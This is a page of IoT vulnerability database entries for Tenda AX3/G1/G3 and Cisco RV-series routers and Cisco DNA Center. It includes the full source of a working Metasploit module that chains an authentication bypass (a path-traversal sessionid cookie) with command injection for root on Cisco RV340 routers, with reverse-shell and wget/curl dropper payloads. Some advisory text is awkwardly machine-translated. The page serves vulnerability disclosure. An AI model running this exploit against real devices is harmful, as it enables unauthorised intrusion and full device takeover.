VARIoT IoT vulnerabilities database

Tenda AX3 v16.03.12.10_CN was discovered to contain a stack overflow in the function formAddMacfilterRule. This vulnerability allows attackers to cause a Denial of Service (DoS) via the devName parameter. Tenda AX3 Exists in an out-of-bounds write vulnerability.Service operation interruption (DoS) It may be in a state. Tenda Ax3 is an Ax1800 Gigabit port dual-band Wifi 6 wireless router from Tenda, China

Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV series router Exists in an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of Cisco RV340 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the configuration of the NGINX web server. When parsing the sessionid cookie, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to bypass authentication on the system. This access can then be used to pivot to other parts of the network. This module works on firmware versions 1.0.03.24 and below. }, 'License' => MSF_LICENSE, 'Platform' => ['linux', 'unix'], 'Author' => [ 'Biem Pham', # Vulnerability Discoveries 'Neterum', # Metasploit Module 'jbaines-r7' # Inspired from cisco_rv_series_authbypass_and_rce.rb ], 'DisclosureDate' => '2021-11-02', 'Arch' => [ARCH_CMD, ARCH_ARMLE], 'References' => [ ['CVE', '2022-20705'], # Authentication Bypass ['CVE', '2022-20707'], # Command Injection ['ZDI', '22-410'], # Authentication Bypass ['ZDI', '22-411'] # Command Injection ], 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { 'BadChars' => '\'#' }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE], 'Type' => :linux_dropper, 'Payload' => { 'BadChars' => '\'#' }, 'CmdStagerFlavor' => [ 'wget', 'curl' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'MeterpreterTryToFork' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base path', '/']) ] ) end # sessionid utilized later needs to be set to length # of 16 or exploit will fail. Tested with lengths # 14-17 def generate_session_id return Rex::Text.rand_text_alphanumeric(16) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => '/upload', 'headers' => { 'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id } }, 10) # A proper "upload" will trigger file creation. So the send_request_cgi call # above is an incorrect "upload" call to avoid creating a file on disk. The router will return # status code 405 Not Allowed if authentication has been bypassed by the above request. # The firmware containing this authentication bypass also contains the command injection # vulnerability that will be abused during actual exploitation. Non-vulnerable # firmware versions will respond with 403 Forbidden. if res.nil? return CheckCode::Unknown('The device did not respond to request packet.') elsif res.code == 405 return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.') elsif res.code == 403 return CheckCode::Safe('The device is not vulnerable to exploitation.') else # Catch-all return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.') end end def execute_command(cmd, _opts = {}) res = send_exploit(cmd) # Successful unix_cmd shells should not produce a response. # However if a response is returned, check the status code and return # Failure::NotVulnerable if it is 403 Forbidden. if target['Type'] == :unix_cmd && res&.code == 403 fail_with(Failure::NotVulnerable, 'The target responded with 403 Forbidden and is not vulnerable') end if target['Type'] == :linux_dropper fail_with(Failure::Unreachable, 'The target did not respond') unless res fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200 begin body_json = res.get_json_document fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json rescue JSON::ParserError => e print_error("Failed: #{e.class} - #{e.message}") fail_with(Failure::UnexpectedReply, 'Failed to parse the response returned from the server! Its possible the response may not be JSON!') end end print_good('Exploit successfully executed.') end def send_exploit(cmd) filename = Rex::Text.rand_text_alphanumeric(5..12) fileparam = Rex::Text.rand_text_alphanumeric(5..12) input = Rex::Text.rand_text_alphanumeric(5..12) # sessionid utilized later needs to be set to length # of 16 or exploit will fail. Tested with lengths # 14-17 sessionid = Rex::Text.rand_text_alphanumeric(16) filepath = '/tmp/upload.input' # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues. pathparam = 'Configuration' destination = "'; " + cmd + ' #' multipart_form = Rex::MIME::Message.new multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"') multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"') multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"') multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"') multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"') multipart_form.add_part(input, 'application/octet-stream', nil, format('form-data; name="input"; filename="%<filename>s"', filename: filename)) # Escaping "/tmp/upload/" folder that does not contain any other permanent files send_request_cgi({ 'method' => 'POST', 'uri' => '/upload', 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}", 'headers' => { 'Cookie' => 'sessionid =../../www/index.html; sessionid=' + sessionid }, 'data' => multipart_form.to_s }, 10) end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager(linemax: 120) end end end

Tenda routers G1 and G3 v15.11.0.17(9502)_CN were discovered to contain a command injection vulnerability in the function formSetIpSecTunnel. This vulnerability allows attackers to execute arbitrary commands via the IPsecLocalNet and IPsecRemoteNet parameters. (DoS) It may be in a state

Tenda routers G1 and G3 v15.11.0.17(9502)_CN were discovered to contain a command injection vulnerability in the function formSetPppoeServer. This vulnerability allows attackers to execute arbitrary commands via the pppoeServerIP, pppoeServerStartIP, and pppoeServerEndIP parameters. (DoS) It may be in a state

Tenda routers G1 and G3 v15.11.0.17(9502)_CN were discovered to contain a stack overflow in the function formSetVirtualSer. This vulnerability allows attackers to cause a Denial of Service (DoS) via the DnsHijackRule parameter

Tenda routers G1 and G3 v15.11.0.17(9502)_CN were discovered to contain a stack overflow in the function formAddDhcpBindRule. This vulnerability allows attackers to cause a Denial of Service (DoS) via the addDhcpRules parameter

Tenda AX3 v16.03.12.10_CN was discovered to contain a stack overflow in the function formSetVirtualSer. This vulnerability allows attackers to cause a Denial of Service (DoS) via the list parameter. Tenda AX3 Exists in an out-of-bounds write vulnerability.Service operation interruption (DoS) It may be in a state. Tenda Ax3 is an Ax1800 Gigabit port dual-band Wifi 6 wireless router from Tenda, China

Tenda AX3 v16.03.12.10_CN was discovered to contain a stack overflow in the function fromSetSysTime. This vulnerability allows attackers to cause a Denial of Service (DoS) via the timeZone parameter. Tenda AX3 Exists in an out-of-bounds write vulnerability.Service operation interruption (DoS) It may be in a state. The Tenda AX3 is a dual-band gigabit wireless router for home use, launched by Tenda Technology. It supports the Wi-Fi 6 (802.11ax) standard and emphasizes high-performance network coverage and stable connections. An attacker could exploit this vulnerability to cause a denial-of-service attack

Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Cisco RV340 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of firmware updates. The issue results from the lack of proper validation of a firmware image when performing an upgrade. An attacker can leverage this vulnerability to execute code in the context of root

Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV series Dual WAN Gigabit VPN Routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state

Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Cisco RV340 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of firmware updates. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root

Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows local attackers to escalate privileges on affected installations of Cisco RV340 routers. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.The specific flaw exists within confd_cli. The issue results from executing user commands at an unnecessarily high privilege level. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of root

Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state

Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information may be obtained and information may be tampered with. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Cisco RV340 routers. User interaction is required to exploit this vulnerability in that an administrator must perform a firmware update on the device.The specific flaw exists within the downloading of firmware files via HTTPS. The issue results from the lack of proper validation of the certificate presented by the server. An attacker can leverage this vulnerability to execute code in the context of root

Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows local attackers to escalate privileges on affected installations of Cisco RV340 routers. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.The specific flaw exists within the utility-ping-request script. The issue results from the creation of a temporary file with insecure permissions. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of root

Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of Cisco RV340 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the configuration of the NGINX web server. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to disclose stored web session tokens, leading to further compromise

Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information may be tampered with. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of Cisco RV340 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the configuration of the NGINX web server. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to disclose stored web session tokens, leading to further compromise

Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Cisco RV340 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.The specific flaw exists within the handling of the update-clients method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root

Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Service operation interruption (DoS) It may be in a state

A vulnerability in the audit log of Cisco DNA Center could allow an authenticated, local attacker to view sensitive information in clear text. This vulnerability is due to the unsecured logging of sensitive information on an affected system. An attacker with administrative privileges could exploit this vulnerability by accessing the audit logs through the CLI. A successful exploit could allow the attacker to retrieve sensitive information that includes user credentials